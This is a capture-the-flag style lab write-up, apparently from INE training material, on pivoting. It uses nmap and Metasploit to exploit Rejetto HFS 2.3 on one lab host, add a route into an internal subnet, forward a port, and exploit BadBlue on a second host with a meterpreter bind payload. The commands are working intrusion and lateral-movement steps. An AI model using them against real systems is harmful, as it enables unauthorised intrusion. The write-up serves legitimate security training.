# Pivoting

## Lab Environment

In this lab environment, you will be provided with GUI access to a Kali machine. The target machines will be accessible at **demo1.ine.local** and **demo2.ine.local**.

**Objective:** Exploit vulnerabilities in the target machines to gain access and retrieve a flag.

## Tools

The best tools for this lab are:

* Nmap
* searchsploit
* msfconsole

## Writeup

```sh
nmap -sSVC demo1.ine.local

PORT      STATE SERVICE            VERSION
80/tcp    open  http               HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-date: 2025-06-11T09:04:12+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN-OMCNBKR66MN
|   NetBIOS_Domain_Name: WIN-OMCNBKR66MN
|   NetBIOS_Computer_Name: WIN-OMCNBKR66MN
|   DNS_Domain_Name: WIN-OMCNBKR66MN
|   DNS_Computer_Name: WIN-OMCNBKR66MN
|   Product_Version: 6.3.9600
|_  System_Time: 2025-06-11T09:04:05+00:00
| ssl-cert: Subject: commonName=WIN-OMCNBKR66MN
| Not valid before: 2025-06-10T09:01:14
|_Not valid after:  2025-12-10T09:01:14
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-06-11T09:04:09
|_  start_date: 2025-06-11T09:01:10
| smb2-security-mode: 
|   3:0:2: 
|_    Message signing enabled but not required

```

```sh
msfconsole
use exploit/windows/http/rejetto_hfs_exec
set rhosts demo1.ine.local
run
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FxBqXAgRNJvqI3K2rHfjG%2Fimage.png?alt=media&#x26;token=45277d2d-9eb2-4169-b1ca-64c4768e4cce" alt=""><figcaption></figcaption></figure>

```sh
ipconfig
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FF9KJ3ZJHOUZovlnvldcm%2Fimage.png?alt=media&#x26;token=86f5d69d-74aa-4105-aec4-b2bc9940aa34" alt=""><figcaption></figcaption></figure>

```sh
run autoroute -s 10.2.20.0/20
background
use auxiliary/scanner/portscan/tcp
set rhosts demo2.ine.local
run
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FrlW2VsPYHFriEz7Buvil%2Fimage.png?alt=media&#x26;token=24a78b5c-c47e-4808-af2f-d7dd50852080" alt=""><figcaption></figcaption></figure>

```sh
sessions -i 1
portfwd add -l 6969 -p 80 -r 10.2.23.73
portfwd list
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2F1fWyG2tyJ9J9ZBsC3UuK%2Fimage.png?alt=media&#x26;token=a7073fa7-15a1-4af8-89f4-289cac27f19a" alt=""><figcaption></figcaption></figure>

```sh
nmap -sV -sS -p 6969 localhost
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FtcFPmLxp9uk9kq6GBByz%2Fimage.png?alt=media&#x26;token=5e1f27e6-9830-4832-a394-2b17617a7cc0" alt=""><figcaption></figcaption></figure>

<pre class="language-sh"><code class="lang-sh">background
use exploit/windows/http/badblue_passthru
set PAYLOAD windows/meterpreter/bind_tcp
<strong>set RHOSTS demo2.ine.local
</strong>run
</code></pre>

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FgZWhnhBx3HTjMOOL19Rk%2Fimage.png?alt=media&#x26;token=5d2e4f6c-e9c3-4576-94ca-c0eea3233230" alt=""><figcaption></figcaption></figure>
